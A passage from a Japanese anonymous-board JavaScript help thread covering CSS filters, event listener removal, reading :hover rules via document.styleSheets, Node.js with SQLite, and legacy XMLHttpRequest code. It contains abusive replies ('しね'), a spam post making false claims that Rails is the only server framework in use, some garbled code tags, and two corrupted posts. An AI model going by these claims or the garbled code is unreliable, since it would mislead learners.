824 名前:Name_Not_Found mailto:sage [2021/09/07(火) 09:51:01.19 ID:???.net]
ありがとうございます。
よく考えれば今回は-0でも問題ありませんでしたのでそのまま処理しました。

825 名前:Name_Not_Found mailto:sage [2021/09/10(金) 18:39:26.33 ID:???.net]
https://developer.mozilla.org/ja/docs/Web/JavaScript
完全な初心者向け
JavaScript ガイド
中級者向け
上級者向け
リファレンス
ツールとリソース

826 名前:Name_Not_Found mailto:sage [2021/09/13(月) 12:36:49.23 ID:???.net]
<style>
#test{
filter:sepia(50%);
}
</style>

<ul id="test">
<li><img src="./img1.png"></li>
<li><img src="./img2.png"></li>
</ul>
<input type="button" value="クリック" オンクリック="aaa()">

<スクリプト>
function aaa(){
var elm_list = document.querySelectorAll("#test li");
elm.list[1].style.filter = "sepia(0%)";
elm_list[1].style.border="Solid 3px #0000ff";
}
</スクリプト>
セピアを0にして画像を元の色にしたいんだけど色が変わりません
borderの方は線が表示されたのでセレクタは正しいと思うけど
どうしてでしょうか?どうすれば元の色にできますか?

827 名前:Name_Not_Found mailto:sage [2021/09/13(月) 13:31:13.85 ID:???.net]
elm.list になってるからでは

828 名前:Name_Not_Found mailto:sage [2021/09/13(月) 13:53:56.57 ID:???.net]
>>815
elm_listでもできませんでした

829 名前:Name_Not_Found mailto:sage [2021/09/13(月) 14:28:45.90 ID:???.net]
ulに対してsepia(50%)設定してるのにliを0%にしたところで変わらんよ
見た目は子孫に影響するけど、プロパティ値は継承しないのでdisplayやopacityなんかと一緒で親の効果を上書きできるわけではないよ
#test li {
filter: sepia(50%);
}

830 名前:Name_Not_Found mailto:sage [2021/09/13(月) 18:38:27.91 ID:???.net]
スコープみたいなものですか?



831 名前:Name_Not_Found mailto:sage [2021/09/14(火) 07:50:54.02 ID:???.net]
>>817
なるほどー

832 名前:Name_Not_Found mailto:sage [2021/09/14(火) 13:43:26.00 ID:???.net]
特定の要素から特定のイベントのイベントリスナーを削除することは可能でしょうか?
関数への参照を保持していない状態です。

具体的にはwindow.addEventListener("storage",function(){〜})の形で登録されているようなものです。
ピンポイントで上記だけ削除するのが難しいようであれば、window要素に紐づくstorageイベント全てを一括削除という形でも問題ないです。

833 名前:Name_Not_Found mailto:sage [2021/09/14(火) 19:34:00.52 ID:???.net]
chromeはできるかわからないけど
firefoxならublock originで
yahoo.co.jp##+js(aeld, storage,/functionの中身を正規表現で/)
でいけそうだけど

834 名前:Name_Not_Found mailto:sage [2021/09/14(火) 20:32:24.79 ID:???.net]
>>820
要素のイベントを全て削除
elm.replaceWith(elm.cloneNode(true))
windowはアキラメロン

835 名前:Name_Not_Found mailto:sage [2021/09/14(火) 22:56:39.52 ID:???.net]
イベント登録前に割り込めるならEventTarget.prototype.addEventListenerあたりをフックするとか

836 名前:Name_Not_Found mailto:sage [2021/09/15(水) 11:19:42.58 ID:???.net]
addEventListenerをフックするのが一番現実的なんですかね?

しかし、要素に紐づくイベントリスナーや、管理している全てのイベントリスナーを出力するみたいな関数は存在しないんですね……
ありそうなものだけど、というか無いならどこでどうやって管理してるんだろう……

837 名前:Name_Not_Found mailto:sage [2021/09/15(水) 12:22:46.44 ID:???.net]
>>824
普通は関数の参照をとっておく

838 名前:Name_Not_Found mailto:sage [2021/09/15(水) 12:45:18.50 ID:???.net]
>>825
自分で書く部分ならもちろんそうするんですが、Chromeの拡張で特定のページの邪魔な動作をシャットアウトしたいんですよね。

839 名前:Name_Not_Found mailto:sage [2021/09/15(水) 16:46:22.85 ID:???.net]
X軸方向のスクロールを常に禁止にし、常にスクロールをゼロの位置にする事って可能でしょうか?
cssでスクロールバーを出さない方法はありますが、要素が自由に動いてしまうのでスクロールしてしまう事が多々あります

840 名前:Name_Not_Found mailto:sage [2021/09/15(水) 17:55:31.30 ID:???.net]
>>822 に一票
クローンして差し替えることによりelmとその子孫のイベントリスナーが消え、その他の属性は残る



841 名前:Name_Not_Found mailto:sage [2021/09/15(水) 19:03:27.68 ID:???.net]
スクレイピングすると地獄へ落ちるって本当ですか?

842 名前:Name_Not_Found mailto:sage [2021/09/15(水) 19:21:25.96 ID:???.net]
>>826
キャプチャリングフェーズでstopPropagation

843 名前:Name_Not_Found mailto:age [2021/09/16(木) 12:37:19.77 ID:???.net]
#test li{
background:#0000ff;
}
#test li:hover{
background:#00ff00;
}
というcssがある場合hoverのbackgroundを取得したいんだけど
querySelectorAll("#test li:hover")とやっても取得できませんでした。
どうやればいいんですか?

844 名前:Name_Not_Found mailto:sage [2021/09/16(木) 14:04:33.43 ID:???.net]
取得しようとした部分を書いて

845 名前:Name_Not_Found mailto:sage [2021/09/16(木) 14:47:41.06 ID:???.net]
:hoverはquerySelectorAllで取得できません
ちなみにgetComputedStyle(element, ":hover")もできない

846 名前:Name_Not_Found mailto:sage [2021/09/16(木) 15:15:39.66 ID:???.net]
どうやったらできるかを考えるのが、
あなたたちの仕事です

847 名前:Name_Not_Found mailto:sage [2021/09/16(木) 15:27:53.95 ID:???.net]
hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
いまカーソルがのってるかを見たいなら
mouseoverイベントか対象にtransition入れておいてtransitionのイベントを見ればいいんじゃないかな

848 名前:Name_Not_Found mailto:sage [2021/09/16(木) 15:47:02.52 ID:???.net]
仕事と言われると対価が欲しくなる

849 名前:Name_Not_Found mailto:sage [2021/09/16(木) 18:11:46.09 ID:???.net]
>>832
<ul id="test">
<li>aaa</li>
<li>bbb</li>
</ul>
var element_list = document.querySelectorAll("#test li:hover");
var st = getComputedStyle(element_list[0]);
var val = st.getPropertyValue("background");
alert(val);

こうやっても取得できなかった
他に方法はないんですかね

850 名前:Name_Not_Found mailto:sage [2021/09/16(木) 18:30:00.02 ID:???.net]
>>837
document.styleSheets



851 名前:Name_Not_Found mailto:sage [2021/09/16(木) 18:36:24.59 ID:???.net]
クエリーセレクターにホバーは入れられないって言ってるだろ

852 名前:Name_Not_Found mailto:sage [2021/09/16(木) 18:40:44.66 ID:???.net]
>>837
>>835

853 名前:Name_Not_Found mailto:sage [2021/09/16(木) 21:45:16.33 ID:???.net]
>>835
それは
var element = document.getElementById("test");
element.styleということですか?

854 名前:Name_Not_Found mailto:sage [2021/09/17(金) 06:20:01.48 ID:???.net]
jQuery には、hover 時のイベントがあるけど

855 名前:Name_Not_Found mailto:sage [2021/09/17(金) 09:12:27.75 ID:???.net]
>>841
>>835は意味不明
style要素といってるから、まずはstyle要素でスタイルを定義するところからなんじゃない?

856 名前:Name_Not_Found mailto:sage [2021/09/17(金) 12:36:55.97 ID:???.net]
>>843
styleは>>831で定義してある

857 名前:Name_Not_Found mailto:sage [2021/09/17(金) 12:48:54.07 ID:???.net]
>>844
style要素だよな?
link要素で外部CSS定義していたら、style要素に書き換える必要がある
何のためにそんなことする?
内容からCSS記述をパースさせるのか?

858 名前:Name_Not_Found mailto:sage [2021/09/17(金) 17:57:46.99 ID:???.net]
>>845
element.onmouseover = function(){
element.style.background = cssのhoverから取得したbackground;
}
というふうにしたかった

859 名前:Name_Not_Found mailto:sage [2021/09/17(金) 19:02:09.68 ID:???.net]
>>846
それは「styleプロパティ」という
>>835は「styleエレメント」といっていたから意味不明だった
そして、styleプロパティでは>>831定義のCSSを取得出来ない

860 名前:Name_Not_Found mailto:sage [2021/09/17(金) 19:23:45.68 ID:???.net]
>>Array.from(document.styleSheets).map(e=>Array.from(e.rules).map(e=>e.cssText).join()).join().includes(":hover")
←true



861 名前:Name_Not_Found mailto:sage [2021/09/17(金) 19:36:12.39 ID:???.net]
>>838で既出やん

862 名前:Name_Not_Found mailto:sage [2021/09/17(金) 19:44:13.42 ID:???.net]
取得できないって人がいたので

863 名前:Name_Not_Found mailto:sage [2021/09/18(土) 00:07:10.94 ID:???.net]
F12 開発者ツールのコンソールで、実行した

style_sheets = document.styleSheets

css_rules = style_sheets[0].rules
css_rules[1].cssText

出力
'#test li:hover { background: rgb(0, 255, 0); }'

864 名前:Name_Not_Found mailto:sage [2021/09/18(土) 00:10:34.08 ID:???.net]
普通に取得できるな

865 名前:Name_Not_Found mailto:sage [2021/09/18(土) 00:49:33.72 ID:???.net]
そりゃdocument.styleSheetsで取得出来ないとは誰もいってないし

866 名前:Name_Not_Found mailto:sage [2021/09/18(土) 03:30:32.64 ID:???.net]
見苦しい言い訳は不要
負けを認めるか、潔く退場するかの2択

867 名前:Name_Not_Found mailto:sage [2021/09/18(土) 03:38:49.61 ID:???.net]
スクレイピングの勉強するのですが、下手するとF5アタックになるとかの法的リスクと回避法を重視している入門書ってありますか?
今の所やりたいことは、特定の市町村の5年分気温気象データを収集して自分用に加工
近所のコインランドリーの稼働データを集計して空いてる確率が高い時間帯を調べるの2つです
前者は膨大なデータを取得する必要があります
後者は10分から20分おきにアクセスすることになります

868 名前:Name_Not_Found mailto:sage [2021/09/18(土) 03:42:43.76 ID:???.net]
リスクも回避方法もない
過去には問い合わせで許可を得た上で図書館のサーバーにスクレイピングをした人が捕まってる

869 名前:Name_Not_Found mailto:sage [2021/09/18(土) 08:34:11.72 ID:???.net]
>>851
#test1 li:hover,#test2 li:hover{
background:#0000ff;
}
というような書き方の場合test1 li:hoverを取得できないやろ

870 名前:Name_Not_Found mailto:sage [2021/09/18(土) 12:10:18.16 ID:???.net]
>>854
俺は>>838>>843,845,847だが、何も間違ったことはいってないつもり
どの辺が言い訳なのか教えてくれ



871 名前:858 mailto:sage [2021/09/18(土) 12:13:53.88 ID:???.net]
俺からすると>>844,846が言い訳
「styleエレメントを見ればいい」に突っ込み入れてるのに、頓珍漢な返答で困った

872 名前:Name_Not_Found mailto:sage [2021/09/18(土) 13:44:08.68 ID:???.net]
結局言い回しに数レスかけて難癖付けたってだけの話ね

873 名前:Name_Not_Found mailto:sage [2021/09/18(土) 14:07:39.14 ID:???.net]
結局、正答は>>838>>848だけ
他の回答はノイズでしかないでしょ

874 名前:858 mailto:sage [2021/09/18(土) 14:15:06.90 ID:???.net]
>>860
言い回しだけでなく、ミスリードだと思うんだが、お前に分かるなら教えてくれ

>>835
> hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな

「styleエレメント」の言い回しを修正したとして、hoverのプロパティをどうやって取得するんだ?

875 名前:Name_Not_Found mailto:sage [2021/09/18(土) 14:21:07.58 ID:???.net]
>>855
5ch は、マルチポスト禁止!
同じ質問を、複数のスレや外部のサイトに書いてはいけない

プログラム板のスレに回答しておいた

【まず1嫁】くだすれPython(超初心者用) その54
https://mevius.5ch.net/test/read.cgi/tech/1623240344/867

876 名前:Name_Not_Found mailto:sage [2021/09/18(土) 14:29:33.65 ID:???.net]
>>862
また言い回しだね
プロパティ(の内容)ってなんで補完できないかな

877 名前:Name_Not_Found mailto:sage [2021/09/18(土) 14:39:55.24 ID:???.net]
荒らしだからかまうのやめよう

878 名前:858 mailto:sage [2021/09/18(土) 17:10:43.28 ID:???.net]
>>864
いやだから、それでどうやって実装する?

879 名前:Name_Not_Found mailto:sage [2021/09/18(土) 17:15:04.07 ID:???.net]
やめよう

880 名前:Name_Not_Found mailto:sage [2021/09/18(土) 17:34:19.01 ID:???.net]
言い回しが悪ければ実装手段も示せない>>835の負けだな
言い訳が見苦しい



881 名前:Name_Not_Found mailto:sage [2021/09/18(土) 18:17:58.16 ID:???.net]
頭のおかしい人に以下のようなことを言われました

>>基本、スクレイピングは営業妨害との戦い。
>>どの本にも、そう書いてある。
>>スクレイピングを推奨する本はない

具体的な書籍名を教えてください


>>5ch は、マルチポスト禁止!
>>同じ質問を、複数のスレや外部のサイトに書いてはいけない

どこでそんなルールが決まっているのでしょうか?

882 名前:Name_Not_Found mailto:sage [2021/09/18(土) 18:31:49.44 ID:???.net]
>>869
しね

883 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:15:42.17 ID:???.net]
>>868
>848

884 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:23:39.39 ID:???.net]
>>871
>>835と何の関係もないコードを出されましても

885 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:25:19.77 ID:???.net]
関係ないと思ってるのは君でしょ

886 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:33:40.62 ID:???.net]
まだやっとんの

887 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:40:47.74 ID:???.net]
横からだが、>>835>>848になるとは俺も読めんわ
どう解釈したらこのコードになるのかさっぱりわからん

888 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:48:15.84 ID:???.net]
分かるが、こんな難解コード書くならループ書くわ

スタイルシートを回って、ルール回って、全部をテキストとして結合して、:hover が含まれてるか判定

889 名前:Name_Not_Found mailto:sage [2021/09/18(土) 19:58:03.09 ID:???.net]
翻訳してみた

hoverのプロパティ自体を見たければstyleエレメントを見ればいいんじゃないかな
 ↓
:hover疑似クラスを見たければ、document.styleSheetsを見ればいいんじゃないかな

間違ってる部分は他の正しそうな単語に置換していけば、いずれは正解に辿り着く
質問者は変換作業を頑張れ

890 名前:Name_Not_Found mailto:sage [2021/09/18(土) 20:10:37.55 ID:???.net]
styleエレメントをdocument.styleSheetsと読みかえるところがエスパー力高いな



891 名前:Name_Not_Found mailto:sage [2021/09/18(土) 20:15:44.91 ID:???.net]
それって CSSの優先順位や詳細度に継承おまけにimportantやなんか考慮するととてつもなくややこしくなるんじゃ

892 名前:Name_Not_Found mailto:sage [2021/09/18(土) 20:20:37.25 ID:???.net]
>>878
コードから文章を読み取るのは出来そうだが、コードがない状態で文章からコードを作るのはまず無理だろうな

893 名前:Name_Not_Found mailto:sage [2021/09/18(土) 20:43:05.75 ID:???.net]
>>878
hoverのプロパティ自体とあるから中身をa.style以外からとろうとすれば
document.styleSheets[x]ぐらいしかとるとこなさそうだけど

894 名前:Name_Not_Found mailto:sage [2021/09/18(土) 21:10:19.52 ID:???.net]
>>881
正解を知ってる俺達が文章を改竄するのは難しくない
だが、もしも俺が正解を知らない質問者なら、document.styleSheetsには辿りつけない

895 名前:Name_Not_Found mailto:sage [2021/09/18(土) 21:40:40.43 ID:???.net]
a.style以外からとるんだなとわかればぐぐればすぐわかるわな

896 名前:Name_Not_Found mailto:sage [2021/09/18(土) 21:43:50.66 ID:???.net]
みんなすげーな
エスパー力5の俺にはJavaScriptは無理だと思った

897 名前:Name_Not_Found mailto:sage [2021/09/18(土) 21:47:21.87 ID:???.net]
質問者はstyleの定義まで知ってるのだから
たどりつけないことはないと思うけどなあ

898 名前:Name_Not_Found mailto:sage [2021/09/18(土) 21:52:46.29 ID:???.net]
超能力の話はもういい

899 名前:Name_Not_Found mailto:sage [2021/09/18(土) 22:01:45.40 ID:???.net]
ググって解決する奴なら質問しないだろ

900 名前:Name_Not_Found mailto:sage [2021/09/18(土) 22:06:32.59 ID:???.net]
0からググるのと
なにか入ってからググるのでは大違いだからな



901 名前:Name_Not_Found mailto:sage [2021/09/18(土) 22:28:59.42 ID:???.net]
誤った単語でググらされる質問者は大変だな

902 名前:Name_Not_Found mailto:sage [2021/09/19(日) 07:36:15.87 ID:???.net]
>>820なんですが、>>830の方法が今回やりたいことに一番適合してていい感じに止めたい処理止めれました
回答頂けた方々ありがとうございます

903 名前:Name_Not_Found mailto:sage [2021/09/19(日) 19:28:03.55 ID:???.net]
どうしたしまして

904 名前:Name_Not_Found [2021/09/21(火) 10:40:12.17 ID:dHsYsAG0.net]
有名企業などのサイトのsourceを見てみると、大概見た事ない独自の?jsファイルが山盛りなんですけど、
あれってどういう事ですか?three.jsだとかそういうの直接使わないで組み替えたりするんですか?
あとなんであんなに山盛りscriptがあるのか、、読んでも全く勉強にならないしどう勉強したらいいかもわあからない、、

905 名前:Name_Not_Found mailto:sage [2021/09/21(火) 12:47:33.17 ID:???.net]
>>892
そういうのを自分で調べないから
いつまでたっても理解できないんだよ

906 名前:Name_Not_Found mailto:sage [2021/09/21(火) 13:04:03.49 ID:???.net]
一個一個ublockでブロックしていったら何をしているかわかるんじゃないの?

907 名前:Name_Not_Found mailto:sage [2021/09/21(火) 14:50:15.10 ID:???.net]
具体例1個出してみりゃいいじゃん

908 名前:Name_Not_Found mailto:sage [2021/09/21(火) 20:17:24.51 ID:???.net]
>>822
横からですが、子要素のイベントが残ってたら便利そうと思って試してみたらら
全部外されてしまいましたw
自作関数なら参照リレー渡しが無難ですね

909 名前:Name_Not_Found mailto:sage [2021/09/24(金) 12:59:36.08 ID:???.net]
数学座標を画面座標に変換する関数はありますか?
あれば何を使えばいいんですか?
画面座標は左上が(0.0)で下方向に行くとがy座標が増加
数学座標は中心が(0,0)で下に行くとy座標がマイナスなので
これを画面座標に変換しないとちゃんと表示できないので
https://o.5ch.net/1uxnz.png

910 名前:Name_Not_Found mailto:sage [2021/09/24(金) 15:10:19.06 ID:???.net]
足し算引き算掛け算の問題やな



911 名前:Name_Not_Found mailto:sage [2021/09/24(金) 21:56:58.77 ID:???.net]
-y

912 名前:Name_Not_Found mailto:sage [2021/09/24(金) 22:21:07.89 ID:???.net]
>>898
引き算だけで実装出来るのでは?、

913 名前:Name_Not_Found mailto:sage [2021/09/24(金) 23:57:24.96 ID:???.net]
-単項演算子を(0 - x)と考えるか(-1 * x)と考えるか

914 名前:Name_Not_Found mailto:sage [2021/09/25(土) 00:05:44.70 ID:???.net]
<div style="width:80%;height:500px;background:blue"></div>の
長方形の中心座標はどうやって求めればいいんですか?
長方形の左上を原点(0,0)とする。y座標は500/2=250ってすぐに出るけど
x座標が固定値じゃないのでわからん。

915 名前:Name_Not_Found mailto:sage [2021/09/25(土) 00:25:09.14 ID:???.net]
要素のoffsetWidthの半分じゃだめなの?

916 名前:Name_Not_Found mailto:sage [2021/09/25(土) 11:02:09.79 ID:???.net]
fixedで固定表示している要素を、一定量スクロールするとabsoluteにして、
JSでtopの座標を指定して、浮いている状態が解除されたように見せています。

この機能がAndroidのchromeだと、上スクロール時にだけ表示されるアドレスバーと
ツールバーによって、fixedからabsoluteに変わるスクロール量がずれてしまうようで、
意図しないタイミングで切り替わっています。
どうにか改善する方法はありませんでしょうか?

917 名前:Name_Not_Found mailto:sage [2021/09/26(日) 00:40:51.66 ID:???.net]
javascriptからNode.jsで立てたサーバ内のsqliteファイルを操作する方法を知りたいです
検索するとNode.jsでしか使えないコマンドを使ったものしか見つかりません

918 名前:Name_Not_Found mailto:sage [2021/09/26(日) 01:18:37.61 ID:???.net]
>>905
Node.jsはJavaScript

919 名前:Name_Not_Found mailto:sage [2021/09/26(日) 05:15:04.85 ID:???.net]
>>906
そうなのですが、サンプルコードに載ってるrequestがエラーを出力します
Node.jsだけで使える関数があるようで、単にjsファイルとして呼び出すだけではエラーを返されます

920 名前:Name_Not_Found mailto:sage [2021/09/26(日) 11:45:24.92 ID:???.net]
node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない
サーバー側でデータベースを操作するためのwebインターフェースを作ってそれにあわせてfetchやwebsoketで対話
node以外のサーバーでのやり方と何も変わらない



921 名前:Name_Not_Found mailto:sage [2021/09/26(日) 12:17:43.79 ID:???.net]
なんかすごいね
よくサーバー立てられたなと感心する

922 名前:Name_Not_Found mailto:sage [2021/09/26(日) 12:38:45.55 ID:???.net]
でもnodeは失敗作だからな

923 名前:Name_Not_Found mailto:sage [2021/09/26(日) 13:17:31.86 ID:???.net]
んなこと言ったら世の中に失敗作じゃないものなんてほとんど無い。

924 名前:906 mailto:sage [2021/09/26(日) 13:38:12.51 ID:???.net]
>>908
> node.jsがjavascriptだからと言ってもブラウザのスクリプトから直に操作はできない

そういう意味じゃなくて、「javascript(Node.js)からNode.jsで立てたサーバ内のsqliteファイルを操作する方法」は既に出来てる、と伝えたかった
JavaScriptの実行環境が本人の口から出てこないので結局、伝わらなかったが

925 名前:Name_Not_Found mailto:sage [2021/09/26(日) 13:56:41.41 ID:???.net]
そもそも「Node.jsで立てたサーバ内のsqliteファイル」があり得ないよな
「Node.jsでサーバ(ソフト)を立てたサーバ(ハード。物理か論理か知らんが)内のsqliteファイル」という意味かな

926 名前:Name_Not_Found mailto:sage [2021/09/26(日) 15:33:47.48 ID:???.net]
>>913
それ以外にどういう意味にとれるの?

927 名前:Name_Not_Found mailto:sage [2021/09/26(日) 16:21:24.31 ID:???.net]
複数のNodeListを一つのNodeListとして変数に入れることは可能でしょうか?
Array.fromでArrayにしてからつなぐのが無難なんでしょうか

928 名前:Name_Not_Found mailto:sage [2021/09/26(日) 17:28:35.24 ID:???.net]
jQueryを使えばできるよ

929 名前:Name_Not_Found mailto:sage [2021/09/26(日) 20:39:00.08 ID:???.net]
>>911
nodeの開発者が失敗作と認めてるんだ

930 名前:Name_Not_Found mailto:sage [2021/09/26(日) 21:14:21.89 ID:???.net]
どっちかというとdenoの方が失敗しそうだけどな。



931 名前:Name_Not_Found mailto:sage [2021/09/26(日) 21:29:10.18 ID:???.net]
>>915
NodeListには自身の編集用メソッドがない
1つにまとめて何をしたいのかによるが、DOM APIを使うならDocumentFragmentにしておけば、大体は対応できる

932 名前:Name_Not_Found mailto:sage [2021/09/26(日) 21:54:03.73 ID:???.net]
ありがとうございます
DocumentFragment勉強してきます

933 名前:Name_Not_Found mailto:sage [2021/09/26(日) 23:04:14.95 ID:???.net]
>>892
例えば、Ruby on Rails では、Node.js, Webpack, Babel, Bootstrap などを使っているから、
プロジェクトを作るだけで、node_modules 以下に、数千ものJavaScript のモジュールが入る。
React, Vue.js を使えば、さらにそれ用のモジュールも入る

>>905
例えば、Ruby on Rails では、プロジェクトを作って、モデル(テーブル)を定義すれば、
3大データベース、sqlite, mysql, postgresql でアクセスできる

さらに、scaffold という魔法の呪文を唱えれば、最初から、CRUD 操作もできる

だから最初から、Railsのようなフレームワークを使えばよい。
サーバー側は、Rails一択。それ以外は使われていない。
Node.js も分かりにくいだけ

詳しくは、YouTube で有名な、雑食系エンジニア・KENTA のサロンで聞いて下さい

934 名前:Name_Not_Found mailto:sage [2021/09/27(月) 08:01:20.87 ID:???.net]
>>921
スパマーしね

935 名前:Name_Not_Found mailto:sage [2021/09/27(月) 20:14:13.13 ID:???.net]
playerHeight = $("#player").height()!;
const top = position!.top;
とあるサイトに 上記のような コードがあり "!" の意味が分かりません。
これってjqueryなどの特定ライブラリの書き方なのでしょうか
参考になるサイトがあれば教えていただきたいです。

936 名前:Name_Not_Found mailto:sage [2021/09/27(月) 20:21:08.34 ID:???.net]
TSじゃねえの

937 名前:Name_Not_Found mailto:sage [2021/09/27(月) 21:59:49.95 ID:???.net]
TSってなんですか?

938 名前:Name_Not_Found mailto:sage [2021/09/27(月) 23:05:20.51 ID:???.net]
ティンポシコリプト

939 名前:Name_Not_Found mailto:sage [2021/09/28(火) 00:41:10.01 ID:???.net]
きっとそこで何かビックリすることがあったんじゃないかな

940 名前:Name_Not_Found mailto:sage [2021/09/28(火) 13:34:18.83 ID:???.net]
>>923
論より証拠
URLを出してくれ



941 名前:Name_Not_Found mailto:sage [2021/09/28(火) 16:28:09.66 ID:???.net]
TS は、Type Script

TypeScriptの変数の末尾の"!"(エクスクラメーション/感嘆符)の意味
https://qiita.com/zigenin/items/364264a6cf635b962542

この"!"の呼び方は、Non-null assertion operator

プログラマがコンパイラに対して、
この変数はundefinedやnullになることはありません、と教える記述

let a = f( ); // 戻り値の型は、string | undefined とする
return a! ;

ここで、f からの戻り値が、undefined, null ではないと、
プログラマーが絶対の確信が持てるのなら、

無理矢理、a! として、undefined, null になる可能性を除去して、
string型だけであると、コンパイラに教えることができる

このように、コンパイラを欺いたら、後で大きなしっぺ返しを食らうかも

942 名前:Name_Not_Found mailto:sage [2021/09/28(火) 17:06:24.47 ID:???.net]
valueは値みたいなイメージで使うことが多いと思うのですが、valueの変わりにelementとしてる人を見かけます。
これってどう違うのでしょうか

943 名前:Name_Not_Found mailto:sage [2021/09/28(火) 17:29:10.74 ID:???.net]
問答無用にElementのインスタンスだろうそれは、と
自分はvalueは数値くらいにしか使ってないな
文字列はxxStrとか、日付はxxDtとか

944 名前:Name_Not_Found mailto:sage [2021/09/28(火) 21:20:19.11 ID:???.net]
>>930
さすがに書いた人に聞いてくれ、としか
>>923といい、エスパー案件ばかりなんだが、なぜ証拠となるコードも出さずに当てずっぽうの回答をさせるんだ?

945 名前:Name_Not_Found mailto:sage [2021/09/28(火) 21:28:03.17 ID:???.net]
https://test.wikinist.info/?page_id=51

フィルタ作ってます。
MemとWomenにチェックが入ってる時はその中からフィルタしたいと思ってるんですがどうしたらいいでしょうか?
現状はチェックした奴が全て表示されます。

946 名前:Name_Not_Found mailto:sage [2021/09/28(火) 21:43:21.46 ID:???.net]
>>933
複数条件でフィルタリングすると該当なしってのもあり得るけど
その場合どうなる仕様なの?何も表示なし?

947 名前:Name_Not_Found mailto:sage [2021/09/28(火) 22:01:10.10 ID:???.net]
>>934
Menにチェックが入っていてWomenの値が入ってる人をチェックした場合は表示なしって感じにしたいです

最初はリターンをこんな感じで書いてましたが何も表示されませんでした。
return filterArr.find(element => ((element.el === item.values().name) || (element.el === item.values().city)) && (element.el === item.values().sex));

948 名前:Name_Not_Found mailto:sage [2021/09/28(火) 22:36:39.81 ID:???.net]
雰囲気的にmen womenが両方チェックありと両方チェックなしの場合は同じ扱い?
実現したい仕様があやふやでよく分からんのだが

949 名前:Name_Not_Found mailto:sage [2021/09/28(火) 22:42:03.80 ID:???.net]
>>933でコードが出たが、今度は要求仕様がエスパー案件になったな

950 名前:Name_Not_Found mailto:sage [2021/0 ]
[ここ壊れてます]



951 名前:9/28(火) 22:50:23.20 ID:???.net mailto: men womeonの両方がチェックと両方チェックなしは同じ扱いということにしたいと思ってます。 []
[ここ壊れてます]

952 名前:Name_Not_Found mailto:sage [2021/09/29(水) 00:15:54.08 ID:???.net]
小手先でどうにかならないか考えたけど結局汚くなった
sexだけ扱い違うのにname,cityと一律並べてる時点で無理があるぞ
https://jsfiddle.net/5zeorj9u/

953 名前:Name_Not_Found mailto:sage [2021/09/29(水) 01:22:12.16 ID:???.net]
>>929
ありがとうございます。
わかりました。

954 名前:Name_Not_Found mailto:sage [2021/09/29(水) 16:00:40.75 ID:???.net]
>>939
ありがとうございます。
最後の部分で何と何を&&で評価しているのかあまり理解できないのでconsole logで確認したいと思ってますが
1行のアロー演算子使ってる場合ってどうやって間にconsole logをいれたらいいのでしょうか?

955 名前:Name_Not_Found mailto:sage [2021/09/29(水) 17:45:41.39 ID:???.net]
>>941
カンマ演算子で実現可能だけど無理やり1行にする意味は無い

956 名前:Name_Not_Found mailto:sage [2021/10/01(金) 17:17:31.83 ID:???.net]
https://jsfiddle.net/raion2542/q10vxbde/14/
https://jsfiddle.net/raion2542/eoLtsd5b/8/

1つ目はlist.js 2つ目はTabulator.jsを使っています。
この2つを共存させることはできますでしょうか?
「〜でソート」を押してソートできるかどうかです

2つ目の方のJSの一番下に
const options = {
valueNames: ['name','corporation','callsign','frequency','power'],
};
const featureList = new List('sample-list', options);
を書き込みましたがうまくいきませんでした

957 名前:Name_Not_Found mailto:sage [2021/10/01(金) 21:47:59.36 ID:???.net]
控え目に言って悪魔合体が過ぎる

958 名前:Name_Not_Found [2021/10/02(土) 00:01:47.70 ID:EfyxePPB.net]
昔Ajaxというのが流行ったと思うのですが今も使われているんでしょうか?
あまり聞かない気がするのですが死語で名前が変わったりしました?

959 名前:Name_Not_Found mailto:sage [2021/10/02(土) 00:12:15.95 ID:???.net]
>>945
今も使ってるとこでは使ってるけど、Fetch APIも結構こなれてきた

960 名前:Name_Not_Found mailto:sage [2021/10/02(土) 00:14:53.87 ID:???.net]
jQueryのAPIに名前が残ってるけど
今の時代JSが通信するなんて当たり前なので一々ajaxとは呼ばない



961 名前:Name_Not_Found mailto:sage [2021/10/02(土) 01:30:30.56 ID:???.net]
>>946-947
説明ありがとうございます。今はFetch API?というのを使うのですか?
授業でこれを使えと言われたのですが今もこのコード使っても問題ないでしょうか?

// ===== Ajaxのお約束オブジェクト作成================================
// [入力]
// ・なし
// [出力]
// ・成功時: XmlHttpRequestオブジェクト
// ・失敗時: false
function createXMLHttpRequest(){
 if(window.XMLHttpRequest){return new XMLHttpRequest()}
 if(window.ActiveXObject){
  try{return new ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}
  try{return new ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}
  try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
 }
 return false;
}
    :
    :
 xhr = createXMLHttpRequest();
 if (xhr) {
  sUrl_to_get = sUrl_ajax;
  sUrl_to_get += '?zipcode='+sZipcode;
  sUrl_to_get += '&dummy='+parseInt((new Date)/1); //(*1)ブラウザcache対策

  xhr.open('GET', sUrl_to_get, true);
  xhr.onreadystatechange = function(){zip2addr_callback(xhr, sAjax_type)};
  xhr.send(null);
 } // *1: GETメソッド時はURL文字列に、POSTメソッド時はsendの文字列につける

962 名前:Name_Not_Found mailto:sage [2021/10/02(土) 01:31:26.36 ID:???.net]
この本、2019 年8 月12 日初版発行らしいです。

963 名前:Name_Not_Found mailto:sage [2021/10/02(土) 02:42:40.18 ID:???.net]
FetchではなくXMLHttpRequest使うにしても
もうIE6以下用のActiveX用の部分はいらんでしょ

964 名前:Name_Not_Found mailto:sage [2021/10/02(土) 03:35:33.46 ID:???.net]
xhrにActiveX…
IE亡き令和の世では仕事にも個人サイトにも使えないと思うがお勉強にはなる…のかな?

965 名前:Name_Not_Found [2021/10/02(土) 05:04:49.70 ID:EfyxePPB.net]
>>950-951

ソースコードはこれですねー
https://github.com/ShellShoccar-jpn/zip2addr/blob/master/public_html/zip2addr.js

この本に書かれていますー

初めてのPOSIX原理主義 超進化を遂げたシェルスクリプトを学ぶ15回の講義
https://richlab.org/coterie/lpf.html

金沢大学の講義「シェルスクリプト言語論」で教えてる内容ですー

JavaScriptライブラリを使うと、ブラウザの独自機能を使っている恐れがあって
